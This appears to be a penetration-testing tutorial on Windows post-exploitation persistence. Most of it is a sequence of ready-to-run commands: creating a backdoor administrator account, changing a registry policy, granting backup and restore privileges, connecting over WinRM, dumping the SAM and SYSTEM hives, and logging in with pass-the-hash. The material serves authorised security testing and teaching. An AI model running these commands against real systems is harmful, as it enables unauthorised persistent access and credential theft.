Persistence is a post-exploitation activity used by penetration testers in order to keep access to a system throughout the whole assessment and not to have to re-exploit the target even if the system restarts.
It can be considered that there are two types of persistence. These two types are:
Low privileged persistence
Privileged user persistence
Low Privileged Persistence
Low privileged persistence means that the penetration tester gained and uses persistence techniques to keep his access to the target system under a normal user profile/account (a domain user with no administrative rights).
Privileged User Persistence
After gaining access to a system, sometimes (because it would be inaccurate to say always), a penetration tester will do privilege escalation in order to gain access to the highest privilege user that can be on a Windows machine (nt authority\system).
After privilege escalation, he will use persistence in order to keep the access he gained.
Persistence Techniques
Account Tempering Techniques
Creating new users and assigning them to privileged groups.
Cracking accounts hashes (SAM, SYSTEM)
RID Hijacking
Creating new users and assigning them to privileged groups
# Create a new user
net user pentester pentest@1234 /add
# View Users
net users
# View Groups
net groups
# Add a user to administrator group
net localgroup administrators <username> /add
# Add a user to "Remote Management Users" group
net localgroup "Remote Management Users" <username> /add
# Disable UAC
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
# Login using the backdoored user
evil-winrm -u pentester -p 'pentest@1234' -i 192.168.56.13
# View group details
whoami /groups
# Persistence using SeBackupPrivilege and SeRestorePrivilege
# victim machine
secedit /export /cfg config.inf
# Open the file in notepad and search for SeBackup
# append the user in the the below line
SeBackupPrivilege = *S-1-5-32-544,*S-1-5-32-549,*S-1-5-32-551,pentester
# Search for SeRestore and append the user
SeRestorePrivilege = *S-1-5-32-544,*S-1-5-32-549,*S-1-5-32-551, pentester
# convert the config.inf to config.db
secedit /import /cfg config.inf /db config.db
secedit /configure /db config.db /cfg config.inf
# Disable UAC
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
# Enable the user to login via WinRm
# powershell command
Set-PSSessionConfiguration -Name Microsoft.Powershell showSecurityDescriptorUI
# Add the user by clicking on the Add button
# Give full control
# Apply and Save
# Switch user
runas /user:pentester cmd
# attacker machine
evil-winrm -u pentester -p 'pentest@1234' -i 192.168.56.13
whoami /groups
whoami /priv
Grabbing and Dumping SAM hashes
# From evil-winrm interface
reg save hklm\system system.bak
reg save hklm\sam sam.bak
# Download the files in the local kali machine
download sam.bak
download system.bak
# Dumping hashes
sudo python3 secretsdump.py -sam /home/chinju/sam.bak -system /home/chinju/system.bak LOCAL
# PTH Attack using evil-winrm
evil-winrm -i <ip> -u Administrator -H <NT Hash>